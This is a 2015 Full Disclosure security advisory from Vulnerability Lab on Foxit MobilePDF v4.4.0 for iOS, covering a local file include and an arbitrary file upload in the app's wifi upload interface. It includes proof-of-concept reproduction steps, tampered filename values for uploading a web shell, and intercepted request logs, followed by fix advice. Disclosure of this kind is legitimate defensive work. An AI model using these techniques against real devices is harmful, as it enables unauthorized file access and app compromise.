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[FD] Foxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Foxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 13 Jan 2015 18:16:36 +0100
Document Title:
===============
Foxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1400
Release Date:
=============
2015-01-12
Vulnerability Laboratory ID (VL-ID):
====================================
1400
Common Vulnerability Scoring System:
====================================
6.9
Product & Service Introduction:
===============================
Foxit MobilePDF enables you to view and annotate PDF documents on the go,
allowing you to work on your PDF documents anytime, anywhere.
Specify the permissions to restrict operations to PDF files, such as copying
content, adding annotation, managing page & bookmark, and printing.
Share, store and synchronize PDF files.
(Copy of the Vendor Homepage:
https://itunes.apple.com/us/app/foxit-mobile-pdf/id507040546 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web
vulnerabilities in the official Foxit MobilePDF v4.4.0 iOS mobile
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-01-12: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Foxit Corporation
Product: MobilePDF - iOS Web Application (Wifi) 4.4.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official
Foxit MobilePDF v4.4.0 iOS mobile web-application.
The local file include vulnerability allows remote attackers to unauthorized
include local file/path requests or system specific
path commands to compromise the mobile web-application.
The vulnerability is located in the `filename` value of the wifi interface
`upload` module. Local attackers are able to manipulate the
wifi web interface by usage of the vulnerable `upload` POST method request.
The service does not encode or parse the `filename` context
on uploads. Attackers can include an existing local application path or an
existing local device path as source in connection with script
code to compromise the iOS app. The execution of unauthorized local file or
path request occurs in the index of documents module of the
wifi file service application after the inject. The request method to inject is
POST and the attack vector is located on the application-side
of the affected iOS application.
The security risk of the local file include web vulnerability is estimated as
high with a cvss (common vulnerability scoring system) count of 6.9.
Exploitation of the local file include web vulnerability in the upload module
requires no user interaction or privileged web-application user account.
Successful exploitation of the local file include web vulnerability results in
mobile application compromise or compromised device components.
Vulnerable Method(s):
[+] POST
Vulnerable Module(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename (name)
Affected Module(s):
[+] Index of Documents (http://localhost:8888)
1.2
An arbitrary file upload web vulnerability has been discovered in the official
Foxit MobilePDF v4.4.0 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with
multiple extensions to bypass the system validation and compromise the
web-server.
The vulnerability is located in the filename value of the `upload` file module.
Remote attackers are able to upload a php or js web-shell by a rename of the
filename with multiple extensions in the upload POST method request. The
attacker uploads for example a web-shell with the following name and extension
`pentest.png.html.php.js.aspx.png`. After the upload the attacker needs to open
the file in the wifi web-application interface. He deletes the .png file
extension and can access the webshell with elevated access rights to execute.
The security risk of the arbitrary file upload web vulnerability is estimated
as high with a cvss (common vulnerability scoring system) count of 6.6.
Exploitation of the arbitrary file upload web vulnerability requires no user
interaction or privilege application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in
unauthorized file access (aap/device) and compromise of http web-server.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index of Documents (http://localhost:8888)
Proof of Concept (PoC):
=======================
1.1
The local file include vulnerability can be exploited by remote attackers
without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Download and install the FoxIT MobilePDF iOS application
2. Surf to the Documents Index of the Wifi Server (http://localhost:8888)
3. Start to choose a file for the upload function by usage of the search
4. Intercept the session by usage of a tamper and change the name value to the
local device path source
5. Continue the request and save the settings. After that go back to the Index
of Documents
Note: The execution of the script code occurs in the vulnerable name value of
the index file dir list
6. Successful reproduce of the security vulnerability!
PoC: Index of Documents (Name)
<tr><td><a href="/<img src="><img src="./[LOCAL FILE INCLUDE
VULNERABILITY!]</a"></a></td><td align="center">file</td>
<td align="center"><span class="m">2015-01-10 13:49</span></td><td
align="center"><span class="s">538 B</span></td></tr>
--- PoC Session Logs [POST] (File Include > Upload)---
Status: 200[OK]
POST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3624] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8888]
User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8888/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------3796507625132
Content-Disposition: form-data; name="button";
filename="./[LOCAL FILE INCLUDE VULNERABILITY!]+2.png"
Content-Type: image/png
--- PoC Session Logs [GET] (File Dir Index List)---
13:54:26.427[48ms][total 48ms] Status: 200[OK]
GET http://localhost:8888/%3C/./[LOCAL FILE INCLUDE VULNERABILITY!] Load
Flags[LOAD_NORMAL] Größe des Inhalts[142] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101
Firefox/34.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8888/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[142]
Date[Sa., 10 Jan. 2015 12:49:30 GMT]
Reference(s):
http://localhost:8888/
http://localhost:8888/%3C/./
1.2
The arbitrary file upload vulnerability can be exploited by remote attackers
without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
PoC: URL
http://localhost:8888/./webshell.png.html.php
PoC: Index of Documents
<tr><td><a
href="/webshell.png.html.php.js.png">webshell.png.html.php.js.png</a></td>
<td align="center">file</td><td align="center"><span class="m">2015-01-10
13:58</span></td>
<td align="center"><span class="s">538 B</span></td></tr>
--- PoC Session Logs [POST] ---
14:03:16.481[149ms][total 1583ms] Status: 200[OK]
POST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3883] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101
Firefox/34.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8888/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------282243582256
Content-Disposition: form-data; name="button";
filename="webshell.png.html.php.js.png"
Content-Type: image/png
Reference(s):
http://localhost:8888/
http://localhost:8888/./webshell.png.html.php
Solution - Fix & Patch:
=======================
1.1
The file include vulnerability can be paütched by a secure parse and encode of
the vulnerable `filename` value in the upload POST method request.
Restrict the filename input and filter with an own set exception to prevent
application-side attacks.
Parse also in the Index of Documents the vulnerable name output value to solve
the issue.
1.2
Restrict the vulnerable `filename` value and implement a secure filter
mechanism with own exception to prevent the upload of files with multiple
extensions.
Restrict the upload folder and disallow the execution of files that are already
uploaded.
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the upload
POSt method request is estimated as high. (CVSS 6.9)
1.2
The security risk of the arbitrary file upload vulnerability in the upload POST
method request is estimated as high. (CVSS 6.6)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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